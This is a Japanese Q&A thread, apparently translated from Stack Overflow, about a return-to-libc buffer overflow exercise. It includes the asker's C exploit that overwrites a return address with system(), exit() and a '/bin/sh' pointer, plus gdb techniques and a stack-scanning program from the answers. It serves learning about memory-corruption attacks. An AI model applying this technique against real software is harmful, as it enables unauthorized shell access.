web-dev-qa-db-ja.com

libcバッファオーバーフローの演習問題に戻る

「libcバッファオーバーフローに戻る」を利用するプログラムを思いつくはずです。これは、実行されると、正常に終了し、シェルプロンプトが表示されます。プログラムはbashターミナルで実行されます。以下は私のCコードです。

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

gdb を使用して、次のことを確認できました。

  • 「システム」のアドレス:0x4c4ab0
  • 「出口」のアドレス:0x4ba520
  • 文字列「/ bin/sh」は、メモリの0xbfffff13にあります。

gdb を使用して、32個の「A」をバッファー変数に挿入すると、戻りアドレスが上書きされることもわかっています。システムコールが4バイトであることを考えると、28バイトのメモリ「リーク」を埋めることから始めます。 28バイト目で、システムコールを開始し、コールを終了し、最後に「/ bin/sh」メモリロケーションを追加します。

ただし、プログラムを実行すると、次の結果が得られます。

sh: B���: command not found
Segmentation fault (core dumped)

私は本当に間違っているのか分からない...

[編集]:環境変数をエクスポートすることで文字列「/ bin/sh」を取得できました。

export MYSHELL="/bin/sh"
18
lightningmanic

Libcで/ bin/sh文字列の固定アドレスを検索できます。次に、gdbでプログラムを実行します。

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

幸運を。

50
Lucifer

プログラムの問題は、/bin/sh文字列を指すポインターが実際には/bin/shを指していないことです。

gdbを使用してこのアドレスを取得します。ただし、スタックをランダム化しない場合でも、プログラムをgdbの下で実行する場合とgdbを使用しない場合のシェル変数のスタックアドレスは異なります。 gdbはいくつかのデバッグ情報をスタックに入れており、これによりシェル変数がシフトされます。

スタック内で/bin/sh文字列を見つけるための迅速で汚いプログラムがここにあります。

#include <stdio.h>
#include <string.h>

int main(void)
{
    char s[] = "/bin/sh";
    char *p = (char *) 0xbffff000;

    while (memcmp(++p, s, sizeof s));

    printf("%s\n", p);
    printf("%p\n", p);
}

スタックのランダム化が無効になっていることを最初に再確認します。

ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$

OK、スタックのランダム化はありません。

プログラムをコンパイルして、gdbの外部で実行しましょう。

ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$

gdbの下で実行しましょう:

ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$

ご覧のとおり、プログラムがgdbの内部または外部で実行される場合、/bin/sh文字列のアドレスは異なります。

ここでできることは、このプログラムのバリアントを使用して文字列の実際のアドレスまたはよりエレガントなアプローチを見つけることです。/bin/sh文字列のアドレスをlibcから直接取得します(少ない出現)。

4
ouah